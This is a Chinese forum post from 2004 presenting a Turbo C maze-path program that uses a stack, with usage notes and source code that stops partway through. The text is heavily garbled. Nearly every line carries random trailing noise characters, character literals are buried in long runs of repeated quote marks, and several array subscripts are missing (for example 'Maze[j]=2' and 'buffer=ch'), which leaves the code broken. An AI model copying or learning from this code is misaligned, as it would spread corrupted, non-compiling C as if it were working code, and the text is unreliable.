QQ登录

只需要一步,快速开始

 注册地址  找回密码
楼主: 韩冰
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>1 D% G. c0 ~( P, M( v& K. S
< align=left>程序目的:- `+ L) t! M4 t: h
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并0 j; T9 t+ |' L0 T; e+ j/ w! V
显示在屏幕上。
- Z  @9 L/ w/ o- ?6 M; x程序实现:
* K/ H. E! a2 G可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的+ z8 k8 u* b% G  A; c/ {# u. p3 W
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载* j. C, C2 v; m* h3 E3 `- v4 |6 S! W
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
! i  E* s. W4 H+ R; M时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
% j* }) a: e( T3 C# A# B否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
$ ^% b  D# ~, s; @, x用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
; L& _' i  b! D8 `将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,( l. U  {* n; ]: _( M6 u) w0 Z8 @
找到路径时,屏幕下方会出现Path found,否则出现Path not found。) A/ o: c- g/ V7 w8 b
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。4 _8 k. O3 \6 h9 f+ B
不可以在VC上编译。
% h* U) g- C- V5 T下载DOS版和windows版的迷宫游戏全部代码
. c' Z: M1 `1 t$ |) L9 e9 F9 A) K1 e用户名:migong
9 A0 q2 I8 Z& d/ O' Z* J2 z----------------------------------------------------------------------------------
! D! @) r# P+ A! {1 y: E/*5 b" p& P# a' D( q5 o1 `
MazePath Demo BY Turbo C 2.0
/ u; R1 I; ^1 s5 _, m3 S) y  N; [Copyright(c) RoverUnion. All right reserved.' {* \6 e7 ^: A3 ~' s- R3 u
Filename: Maze.c
% P- P7 b- \) z, B8 F) |Author Dongchengyu.7 S& N$ n+ t% n* ^
Ver 1.10$ ]: g5 @5 d9 a3 z; f* M
*/7 d) A# E% d* N- P/ f9 x) c1 k( T* g
#include &lt;stdio.h&gt;1 s5 Z- G: r6 w$ _
#include &lt;stdlib.h&gt;% e! d$ p& |$ w5 s0 c& J  }' u
#include &lt;malloc.h&gt;. C" w9 B. W) {, x" h1 j
#include &lt;conio.h&gt;; ^* X. T& }3 U! p1 e0 q4 I7 |- u
#include &lt;dos.h&gt;
+ c8 U2 ]  a" Q$ i#define OK 11 X* z* k9 j) y/ S! C; ?, p
#define ERROR 0
. r- Q$ e! B+ o5 ?' c8 B- n2 K#define TRUE 1
3 Y4 O6 n9 H. |0 q/ S#define FALSE 0
% f1 D: ^8 w/ ~9 ]0 P% c1 o/ t, v#define F9 0x43
4 E. b/ }+ f$ ?#define Esc 0x1b
( K  u6 z1 C. X8 G+ W4 M$ s#define Del 0x53
3 J) n+ |1 t3 \3 S* O#define Home 0x47
8 L3 X; {6 I; N/ C#define End 0x4f
# T% c- _# T7 ~#define Space 0x20
- j  v# C) B7 O/ v7 W7 H#define Up 0x48$ a8 [  m: d/ a% [0 E' w/ r* S. s
#define Down 0x508 Z" b1 g7 S+ v
#define Left 0x4b
, P  t2 I2 U; v9 ?1 C3 d#define Right 0x4d
, m) O, g8 P8 X) Q" F& o#define Enter 0x0d
- v% J# X" S8 r; C#define F2 0x3c
+ E* Q& D! i! v1 N#define F3 0x3d
2 d/ m2 w3 F7 z) j! r- F# }#define STACK_INIT_SIZE 200; D- m$ m" i2 q, r+ p% K
#define STACKINCREMENT 100 z7 F6 r) m3 n; Q8 C
typedef int Boolean;
5 l4 j1 V) V2 }% Ntypedef int Status;
3 L( P) k  O9 C9 i2 Ztypedef struct {) p) V- G& t" K. j& Y
int x;
6 n! X  P- Y. g  aint y;
& [2 i6 d$ K# ]; }+ w, f# C} PosType;
3 V; b# o+ R7 W0 x& |typedef struct {
6 p" \8 N4 P5 o% q7 j) [int ord;% P. h: ?4 @+ A* A: d2 k
PosType seat;# h; J$ Y1 Q" T
int di;" x0 R* A/ y* k, Z: ?- w+ i/ r; M
} SElemType;
9 v# [( |- s6 }; I/ R8 U: ]typedef struct {2 z" L; u- R5 S2 x/ m1 g, W& ^
int td;3 t0 a$ i' W1 D: e) J1 C
int foot;
, S* k% C3 \* ?  @# Vint mark;& g" {) r& t- f9 }# Y" u
} MazeType;6 Z* Z3 z# P5 U7 k, U; i6 f& M
typedef struct {
( s8 m3 o1 s$ O+ f8 PSElemType *base;
8 H- A0 g+ V& aSElemType *top;
8 ?' Q, r! D) O9 ]2 i) ?% w% yint stacksize;9 J& M4 B+ U! b0 U$ I  V
} Stack;9 f( m  @1 L4 l5 T2 Y. P
int Maze[20][30];
/ B6 R, u/ ]5 d) ]4 _3 GMazeType maze[20][30];1 x9 G3 z; T- N2 l" y! c
PosType StartPlace;
# i6 Y' X9 d5 q' ?- ~- Y- M3 rPosType EndPlace;/ y- m3 }- y) `9 z
int count;
3 x0 L& r* D1 s+ }" M0 Iint m,n;
! T1 M- Q7 C6 B& ~Boolean b_start=FALSE,b_end=FALSE;7 Q+ a9 B( @: A7 H; Z$ q$ A
void CreatMaze(void);
0 f7 A' r  X' X9 m* yStatus SaveMaze(char *filename);
$ }  a( `1 D/ p+ fStatus LoadMaze(char *filename);6 ^* k3 O# _1 T: j% u
void Error(char *message);
2 F! l- c3 V, t1 u  {% y- PStatus InitStack(Stack *s);$ P! e/ z+ u5 U/ E  Z, Q
Status DestroyStack(Stack *s);
# _% P# y: V, |% N$ zStatus ClearStack(Stack *s);3 M9 A+ J) I8 R: K% ^, v2 Z6 D
Boolean StackEmpty(Stack *s);
: Q, h/ @* j. i- D8 o. [" K( h1 pint StackLength(Stack *s);' E2 }6 u; _# K& a
Status Push(Stack *s,SElemType e);
- @* m% ]+ H" q& c/ z& M9 NSElemType Pop(Stack *s,SElemType e);* o; a' |/ j. Q; v/ w$ G# ]8 S
Status GetTop(Stack *s,SElemType *e);5 ~/ \, U0 `, S# a
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
& M0 q* o0 p* X! Z" |Boolean Pass(PosType curpos);6 O1 W% B( ?  x" A/ K
void MarkPrint(PosType seat);5 c) C) j  S, n% h9 P$ Q' J* V
void FootPrint(PosType curpos);
( \5 l. v& ?+ _$ ~8 ?, y5 H. PPosType NextPos(PosType seat,int di);& a" [9 n4 [2 I
Status MazePath(PosType start,PosType end);! d& X% F/ C3 e0 M& e. G
void CreatMaze(void)) e0 ^% J: s# Q8 M2 \9 b9 R
/* Form the maze. */
1 P9 ^: z" |* J' e2 v0 f+ d{
5 ^, E6 D+ V: ?/ f7 H: z( e$ V7 U; s( Vvoid Error(char *message);9 ?$ h* L$ B& Q: s1 V4 n& i! w
Status SaveMaze(char *filename);
0 ]% ~& @) u$ C; m6 \& f5 oStatus LoadMaze(char *filename);
& K9 o2 v+ d& z7 Dint i,j;
, X7 ]$ @2 a: q* ~8 Hint x,y;# i8 |2 Z; s. S/ w' U; b
char c;& P! @3 W) h# J# D, ^0 w$ b$ E
char savename[12],loadname[12];
0 q/ r; b( _% W+ J: V- yBoolean flag=FALSE,load=FALSE;
0 h  w& Y; |7 ^; C* E' D% `$ pclrscr();" y! I! |& k* D2 J4 j$ e* L* B( |/ u* A
printf("Menu:\n\n");
7 T' M8 a9 S/ }, F" Y! Oprintf("1.Load Mazefile*.dd)\n\n");1 |. A% G1 y" x7 {. y8 _$ ~
printf("2.Input Maze:\n\n");2 N% R4 q, T3 a& l
printf("Input your choice: ");1 m; ]; l% Y+ K- h3 N& c- e/ p
do
  U( e5 D  {1 u2 ^% f- s5 \  A{
. o3 v0 Y+ b2 u8 X( u+ H/ `9 Jc=getch();) p0 N! O& U; u) h  |2 C, J
switch(c)
& \8 F6 q0 R. C9 m{: D4 N; B; S$ N
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;) q- _4 b& s0 Z( Q6 g0 a
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;+ I7 s7 K8 L" j! G! B
case Esc: sleep(1); exit(1);4 Z* c# ~8 f. d( C
default: break;, Y: Q) b! w% V0 ~5 n
}9 C# ?! g; y2 ~0 {
}
- B& d+ ]% I- b2 i. Swhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
. @: p% Q) P9 I; Tif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')! _7 q2 i7 k+ f0 j: ~6 u; t5 I
{+ W+ T: B' P3 [! [0 ~; D
printf("\n\nLoadName: ");
6 i$ l; T4 L% q4 V. }4 D8 ?) S, {scanf("%s",loadname);7 ~4 V2 ?5 j" Z; j+ H
if(LoadMaze(loadname))
. s1 U- m) |' Q( G{
, I: Q" `4 S" D7 C9 g3 l. }1 Psleep(1); load=TRUE;4 N4 W; Q8 F& y% v) q) ]4 v3 J
}
3 m; R1 c3 d" h/ q4 C1 ?else { gotoxy(1,9); printf("Load fail! "); }
* |: B- `% H  c% z% P* s6 @}
: I; J, |6 }; n6 A/ \: E0 n1 m- uif(!load)
( @9 ~% r$ c  q5 P2 k* d{
$ ^, ]" L: P4 }8 ~; Q/ a* w5 }# Oprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");) c# h1 D- B7 H3 v  u1 @: W
printf("\nInput Length :\n");
# z) x5 d9 h$ h7 \, f6 y- Dscanf("%d",&amp;m);0 ^; |; P) H+ ^( U, [( L% Q5 O" m
printf("\nInput Width :\n");, p+ `- y6 L; V
scanf("%d",&amp;n);
8 B  `+ ]+ F! H4 I) tif(m&lt;4||n&lt;4) Error("Input");
" f! v1 ]1 [7 Tif(m&gt;30||n&gt;20) Error("Maze too large");
& Z! I! P; T  I3 x# gfor(i=0;i&lt;30;i++)# A' i9 C7 T& M" f' h
for(j=0;j&lt;20;j++)3 O9 o, C8 e7 B6 m" m4 u
Maze[j]=2;7 J# y4 o" D/ K5 @8 `5 w
StartPlace.x=0;
' s# v3 i- i+ j0 F$ p+ K& HStartPlace.y=0;
% R& `. Z9 e; N, k0 H9 SEndPlace.x=0;2 T* |& i" I" u' r& I
EndPlace.y=0;! V; G! s% n# ]: W+ V% y  D, d
clrscr();5 H8 R( y; i0 L) u# U) Z
printf("\n");
# E& W. P& N7 k( V; [for(i=1;i&lt;=n;i++)
' [, n7 t1 q* x& i{
+ U+ V6 {; K5 c) zfor(j=1;j&lt;=m;j++)" i0 k+ @; \& G* `6 |' ~
{
" n* O/ I/ U/ ]( r' Y3 Yprintf(" #");
  F. ]8 S4 N% sMaze[i-1][j-1]=0;
3 R& y5 M% d" \& V1 @6 u}6 a; S2 o1 P" o# \* A
printf("\n");0 D. I' A. b' p+ _
}  E! j& k4 c/ u" l
}
0 W; K5 p- r. v4 d; m' Ggotoxy(65,5);
+ N5 d+ a& z  j6 q  w" kprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");; V( L4 z0 p( Q
gotoxy(65,7);, L" @  o3 _. F- S6 _3 ~; t
printf("Start:Home");
8 c) Q5 P& W8 rgotoxy(65,9);: J# {0 V) t& n; v1 S% p
printf("End:End");. G8 K: p2 i7 }# \
gotoxy(65,11);/ U/ `- g7 r8 v/ F
printf("Delete Wallel");) v  V: i5 f3 j% Z. O1 R# _7 T
gotoxy(65,13);
; M  u  \. o2 o( I+ z  [/ _+ ?printf("Enter Wall:Enter");$ x. I% |  ?8 R8 d7 w7 W
gotoxy(65,15);
2 }1 C9 ^" F& |printf("Save Maze:F2");! ]! H) V$ Q$ M% }# z/ w, m8 m
gotoxy(65,17);
: S8 W  D5 {7 k3 ]. i  ^; E$ Bprintf("Complete:F9");& g' C# b- m% v+ Q
gotoxy(65,19);* i4 h2 o; J0 R* Z) F
printf("Exit:Esc");6 h* t1 I7 H8 q* F" [
gotoxy(4,3);: q0 O$ V* E1 v5 h) d
x=4;y=3;
. O8 H$ J8 ^& |  ddo
3 R0 k9 n9 R7 C# g1 I{
* ?1 h; _( q/ _c=getch();
: c$ H$ f! C3 X! q/ K% eswitch(c). }, c6 M# L& W# ]% n. e
{8 h' I: W2 ]' j6 S
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
2 J. @7 J  U& vbreak;0 v  S7 H0 U$ C7 ~- p, G& C# n, F
case Down: if(y&lt;n) { y++; gotoxy(x,y); }0 k0 @" [0 W% C3 e) Z7 i) w2 E
break;
$ L; G8 X" E8 Vcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
2 U5 }9 ]! @+ lbreak;4 W5 K$ q4 l; _2 z
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
+ h- V& g8 U+ |# ^+ C, M8 k0 abreak;) T  c8 b+ J, U3 k3 M0 {
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;& ?$ E: ], r( ~3 w
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;- F' f' J0 [" ?) l+ u
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
* }! N/ N, P. j/ |! P+ ?" |2 p+ C8 m* Nbreak;$ R4 `* k% x9 u/ ~* ^7 `
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;4 V$ A  U' S, ^, B
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;* ^, w( T4 k* d' B
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
- U: F# q0 f! G3 ~1 {break;
' k+ D$ z2 {0 \; Xcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
( H* N% ^. d( }{
3 B# S7 \( j5 c" J5 C1 jStartPlace.x=x/2-1;
  ?+ @8 x1 Z  S: k2 V; }StartPlace.y=y-2;
. y  |4 K% r% Bputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');! m% ~9 M$ D/ r6 x9 b  l! B% r! y, g* I
gotoxy(x,y);
4 w  `* _* I+ eb_start=TRUE;3 B) U7 y* {% C$ D7 y
}$ |7 q7 k7 c# Z( y
break;
1 b* P% z( i- scase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)4 c5 [7 q! ^/ Y
{
  z) t$ P% W7 z: ^EndPlace.x=x/2-1;- v) ]# ~5 I2 X
EndPlace.y=y-2;
* M# v( r5 V* b/ {& ~) {putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
" h, p: I1 D& }gotoxy(x,y);
/ y3 q5 ~0 S; u; P! l: d5 v# y0 ?2 ]b_end=TRUE;# G# H( ~6 Z8 `; l
}
- r1 E2 R+ L* r$ F( g" r5 Dbreak;3 K' B' h# P( c0 D$ E2 V2 i8 T  z
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
6 p+ M2 v+ j0 }8 y1 ?1 Wcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;6 X0 A9 e1 z; K' {7 P  {
case F2: gotoxy(2,22);4 h3 ]% O$ ]3 F7 b9 T
printf("Savename:");: _* C9 T8 w9 r  X' Z. `- u0 g
scanf("%s",savename);
+ R  r6 r2 A- t  a& _) Egotoxy(2,22);
, x& ?/ C" v; L+ b! Zif(SaveMaze(savename)) printf("Save OK! ");
- ]7 j) t* J$ e. H5 Felse printf("Save fail! ");
" r" v- t" }: ?  y2 E) }- ?: {sleep(1);
+ T3 u/ G; n$ d. N; M4 j  sgotoxy(2,22);
" O) r) i; N# r6 Aprintf(" ");
$ }' S$ v, V  e8 r" }. ygotoxy(x,y);' s( m9 Q6 y  z  m! A
break;6 N( w6 b- C- N3 h1 D4 `! d
default: break;2 s! A; w7 ~5 [' S
}
$ x$ P, l, W) [! J9 e+ S3 u}
9 \; k2 |3 Y5 [# L+ [4 a. _while(!flag);
; K. P8 K& J* X9 d, ]7 |0 Afor(i=0;i&lt;30;i++)! G  h' y& J1 q2 t9 v& s1 z
for(j=0;j&lt;20;j++)3 i) }% D$ C0 Z
{$ r! t2 J9 D8 S( y( M9 b, u
maze[j].td=Maze[j];; h# o" R! N; K2 W3 Y# u
maze[j].mark=0;, o! m+ v* J7 H) ~& y/ y9 r& ?
maze[j].foot=0;
0 q/ v* ~6 a+ q' @}
9 }: {! _( b3 Z}
( F; U* M# M5 ^; C2 r, J& a* l* xStatus LoadMaze(char *file)  w1 ~, b8 V( R- |, i
/* The maze has been loaded. */+ t8 ^& I) A( J* D' F0 b
{
: s0 E, S  i6 ?3 @6 e: f& w7 WFILE *fp;) f. k" D5 L) K) I% z
char *buffer;
! i, D8 }% f2 G& C7 Gchar ch;
) I. [- c) |% v* h) w1 e1 [int i=0,j,k;- O$ \- ?6 T* r# n
Boolean len=FALSE,wid=FALSE;' M( g0 n- N0 U. g: B; G6 C
if((fp=fopen(file,"r"))==NULL)
  I9 k, |. C* d0 ^' G) rreturn ERROR;
* r* n" }' P' V" q( }6 v! vbuffer=(char *)malloc(600*sizeof(char));4 B, Z& [" G0 L1 t' Z
ch=fgetc(fp);
5 _. q( k+ r& M& Y3 y7 Z# Vwhile(ch!=EOF)0 ?, q/ e/ ], t# Q% O3 U+ {+ Y% A  P
{8 e4 b; A1 ~. {) O* S4 P6 a3 \
buffer=ch;
8 Q1 g" o' g  d3 Mi++;$ o  G$ a) ^+ a' ?% C
ch=fgetc(fp);7 j  b. U2 X0 B/ ]% E  p5 c+ p
}' A$ B1 G9 u: z8 p2 B6 r
m=30;n=20;
7 k" ?1 O; C! `* W6 m: I5 l: Z, `for(i=0;i&lt;600;i++)9 k" D7 g' O; K& Y$ y# M' D
{
) X# U5 m& O- W( P6 I) S; vj=i/30; k=i%30;
5 C3 p3 r9 `- w* I( Cif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
# l5 k+ U% W5 S( _if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }# ]; o. N% Y# m2 C7 u( |- r+ x
switch(buffer)
+ v6 H6 R( ^. d- T3 R6 I- ~{8 k1 N3 H1 O' v9 \+ @- \2 i+ t
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;, N4 u1 o. }' y
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
/ V* I; f; h+ \) [; ecase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
, r- a) X, i( P& A2 H: Z& Dcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;) m, x6 C& G9 ~( U  n/ I
StartPlace.x=k;
" e, s: ^4 P: g# n6 {! ^2 `, F0 @% UStartPlace.y=j;. _; p; f1 x: r  R  M/ f+ r/ `( F6 {
b_start=TRUE;
$ Z2 J: }7 a% f0 P* b8 @break;
% ~; y9 O. ]8 L1 ucase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
$ H( `- d% h7 \$ s% p- ZEndPlace.x=k;
  F* [$ Q- b, T/ }8 NEndPlace.y=j;1 W/ Y+ n. ?" g7 w
b_end=TRUE;: z& L& b* q/ A1 w/ f
break;  I$ j( k. |  g" C" w
default : break;0 K. r1 [' H4 w) i
}# x. P# U8 [% h' q9 m- b: w
}
5 W" _5 \7 J9 ^+ f( b; H$ ufclose(fp);
) [- }- T' A2 n8 H! M* m  Zclrscr();8 Q( }9 S8 b8 ^: j9 {- B% f
for(i=0;i&lt;30;i++)/ n' V" k  S0 x+ C0 I
for(j=0;j&lt;20;j++): W9 A- z; p, J6 |/ q8 l
{
: g( ]& A8 Z% H# p3 Vmaze[j].td=Maze[j];
1 L8 |: I% d  H4 p& fmaze[j].foot=0;
! `4 T: l1 |1 T- p- s5 S4 ^/ H$ nmaze[j].mark=0;
' k, b" g" ^2 X- W: b6 n  x* ~if(Maze[j]==0)3 B, v3 X" R- J  w1 V. U5 u
{
7 a" ?# a2 D: f) P9 j; \gotoxy(2*i+2,j+2);
* D% R: `/ F$ L# B0 n5 h7 w% f  Cputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
' ]& ?& ]8 T2 u0 u}# Y! R8 F) w2 u6 {% M  U
}
5 C- K/ W1 P9 {8 J, T( Ngotoxy(2*StartPlace.x+2,StartPlace.y+2);" ~% s2 O5 r: ?$ z! A+ g
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, L( N/ y2 I6 qgotoxy(2*EndPlace.x+2,EndPlace.y+2);8 u1 N) ~; f( p: o1 ]
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
/ ~! n# C6 ?* \6 v. }. s4 A" greturn OK;
' z2 s0 e: ?8 q, Q. m; B' N3 x5 E}% N# ]( a2 X% E8 S/ p7 ~7 B
Status SaveMaze(char *filename)% k4 n' _0 V  Q: J6 z8 ?6 u
/* The maze has been saved. */
$ ]# e8 H2 [: j{; E) P: a/ H: F/ {4 v+ R9 G
FILE *fp;* M; ^( s8 _% E1 ~6 B; j% y! s
char *buffer;
6 X( [  x, M2 @* l7 lint i,j,k;
# {* P+ }5 q" Q6 a& [fp=fopen(filename,"wb");
+ ?% M+ h9 k; P# Ubuffer=(char *)malloc(600*sizeof(char));
8 ^- e# \+ ^6 D! ^for(i=0;i&lt;600;i++): D4 u# B6 c# K- s% r3 H+ q% M
{2 R9 M+ o" m4 P4 x
j=i/30; k=i%30;
- z: {; O& o- L: H6 [switch(Maze[j][k])
  M' c; f) J5 d/ ]- g3 _4 a{; h4 ^& S+ f; t& f: o
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
" D, s# @- k% V/ ?2 i3 \- |0 mcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
1 j& K1 I' ^& ?& V4 ?0 E' [case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
% L0 l. E7 |- qdefault : Error("Write"); break;& H- H  w5 L, c- N) X9 R, w$ H" C; b* R
}, b" z7 C8 W' I1 A6 `9 C
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';: T) i4 j+ B) N  W6 X9 j1 E
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';0 a/ H& s0 }' J1 ]
}0 b* N8 s- M4 q- ?4 p
fwrite(buffer,600,1,fp);: u/ o. y7 p3 H7 i
free(buffer);
8 i, _! [3 J: f0 J0 gfclose(fp);
9 N# I" K% d! v3 C; x; qreturn OK;/ ^' p" d! f# B' p# ^
}
+ k7 {, @6 L- d6 I; V5 rvoid Error(char *message)
) B- x* E0 C1 _: ?- [{: k% _/ ?1 s3 c1 M2 Y
clrscr();
8 K2 I# Q0 g5 H7 Y% Ofprintf(stderr,"Error:%s\n",message);
$ U. O- Y$ s$ W! Xexit(1);1 U1 u* w' [; d6 Q
} /* Error */2 Q" d+ P8 @7 O2 J9 D' o
/ g2 |9 _, m9 B/ h0 D6 E, K6 s$ U2 f
Status InitStack(Stack *s)6 e  B1 m  s$ j: A
/* The stack s has been created and is initialized to be empty. */
7 G2 W3 o. Q! r, `{
5 A- @5 b3 d& @7 `* n, p4 R8 Os-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
) F$ \3 ?, c, b8 @  `3 Cif(!s-&gt;base) Error("Overflow");1 p* h/ x' L$ z& [1 s; b4 ]
s-&gt;top=s-&gt;base;
! k7 f2 |% _0 \5 x/ a6 Ts-&gt;stacksize=STACK_INIT_SIZE;
9 I. y$ W' K" M. c8 U" K9 O5 ^return OK;4 ~# |: _8 Y9 _( G4 W/ v  u# [% x  [
} /* InitStack */, T) h7 u( {& T- n
Status DestroyStack(Stack *s)
+ f  F; d- U% |4 k3 W/* The stack s has been destroyed. */, d2 @7 L# F% f+ t, k
{
8 m& W, _% l* N) n2 [% a9 ws-&gt;top=NULL;
2 F6 C0 ~2 }* k& [+ g6 c! Ms-&gt;stacksize=0;
: _9 O' U# U& D! j% Qfree(s-&gt;base);* R% [1 W8 t- P' G2 Y% G
s-&gt;base=NULL;, \9 V; }2 q6 B$ D& s3 U* A8 @
return OK;
" M) e) [7 f& E% b* _0 Q} /* DestroyStack */3 G! T" z( I: C, l" P$ N) I
Status ClearStack(Stack *s)
: G; e" w8 m. u: A5 l/* The stack has been clear to be maximum. */
) S! K8 O% P1 G2 \9 a( O* P{! Q# p5 N. f# R
s-&gt;top=s-&gt;base;
( [$ D" C  ^& n, |' M) bs-&gt;stacksize=STACK_INIT_SIZE;" }  k9 u& K* k4 `: g: @* ]
return OK;
, `+ _2 P+ v4 |% g( X} /* ClearStack */
, l2 R+ H" \& z7 Z7 WBoolean StackEmpty(Stack *s)) a9 |# L# P  O* u# R5 }( i
/* Check if the stack s is empty. */8 `$ e* K+ h2 W; V% R* l4 j! y
{5 @9 x2 }2 ~- H( u5 A  ]
if(s-&gt;top==s-&gt;base) return TRUE;. b3 }) }" H0 G8 q
else return FALSE;
/ b( a3 t- D( l4 R5 W} /* StackEmpty */' a6 V, C- [$ t4 Z
int StackLength(Stack *s)
; Y  r; S# u2 a) P' n2 Z/* Gain the length of the stack s. */
8 F( X1 U2 L$ |% A{
, l, b7 L" A' V& O/ A2 Kif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
4 n. e5 R3 ?5 G0 w4 uelse return 0;
* q; w) m3 S$ e! ?$ R} /* StackLength */" ?: H6 l! |) y0 c" O$ {
Status Push(Stack *s,SElemType e)
5 k* A. ~/ u! p, Y/ z0 g/* The element e has been pushed into the stack s. */  c0 {! e( ]9 x' U$ l
{1 H3 L$ r1 r: F# C' c! I6 c
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)+ _% j5 N0 A* e6 j; i" F( o' g
{
; u% }% g4 I+ u' A0 g) [3 B5 z7 v2 n7 cs-&gt;base=(SElemType *)realloc(s-&gt;base,1 s( S4 C* O& ?% ]: s$ u* A
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));0 {& x% g9 |3 |( U8 e, @5 I5 d
if(!s-&gt;base) Error("Overflow");) W0 p# ^! b0 Z) v( d
s-&gt;top=s-&gt;base+s-&gt;stacksize;2 a; w( b" G% ?: E
s-&gt;stacksize+=STACKINCREMENT;* a0 o7 c6 L- e
}' m! o6 d7 `: _4 ]+ W
*s-&gt;top++=e;+ ~! s4 p) e7 B( i' W1 G: Q
return OK;, d* m* E$ U4 _/ d
} /* Push */
1 v) L- \8 W2 I) T9 v2 l6 Z* |SElemType Pop(Stack *s,SElemType e)
: p" t5 x" c( `& g& T  ^- ~/* The element e has been removed from the stack s. */  [: f: N" E5 s% f4 g
{
4 p4 k4 L9 y$ N8 mif(s-&gt;top==s-&gt;base) Error("op");
. c0 w7 z- g* b# e) m( le=*--s-&gt;top;5 d2 L6 w, p# ]: B" L
return e;
2 K$ Y8 _0 f  `4 x8 \  _! g} /* Pop */
. Y$ E" X7 R$ z* bStatus GetTop(Stack *s,SElemType *e)
9 g) \6 s7 N% u& ~7 {/* The element e has got to the top of the stack s.*/4 `" t! ~, O1 B9 J8 A' t5 _' l
{6 l) s7 c" v! F2 G2 }# i/ h: U
if(s-&gt;top==s-&gt;base) Error("GetTop");
# g6 T+ Y- i) m; p+ o*e=*(s-&gt;top-1);3 z* i) Y# b2 T! W5 @1 c
return OK;
- f% y1 K4 ]  c7 o} /* GetTop */  Z2 d" A* N7 }4 \
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
1 {! {; i: |. C$ r8 w/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
* R: Z: b5 q8 t+ |  B4 l{
$ l4 U5 u8 ]# N* CSElemType p;
4 e1 C$ Z; v$ _# Cint result;( ^. g) {. d$ o! C+ K& T8 c
if(s-&gt;top==s-&gt;base) return ERROR;
$ @3 ?7 u5 ]- @$ g2 N0 L) hp=s-&gt;base;
( ~2 @; E/ t$ j! s! u; ewhile(!(p==s-&gt;top))
* q+ h5 e5 x' u1 V, O9 u{
5 r# b$ t7 o+ ?  O2 Z  \+ lresult=(*visit)(p);$ a6 _( g; w' J, C; U
p++;5 E2 ]- M# C  ~1 H5 X4 c
}1 G( h5 G6 D' ~
return OK;# y! V" C; P5 T5 G; X
} */
  O0 U( s# g+ J( FBoolean Pass(PosType curpos)
7 [( A$ E6 E- R% l, a- X9 I/* Check if the current position can be passed. */; N" B" Z& q% J4 e: L# r
{3 j4 |- n: S3 P# J  q6 |
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
6 P( W0 I/ D# e3 y5 ]! Cmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
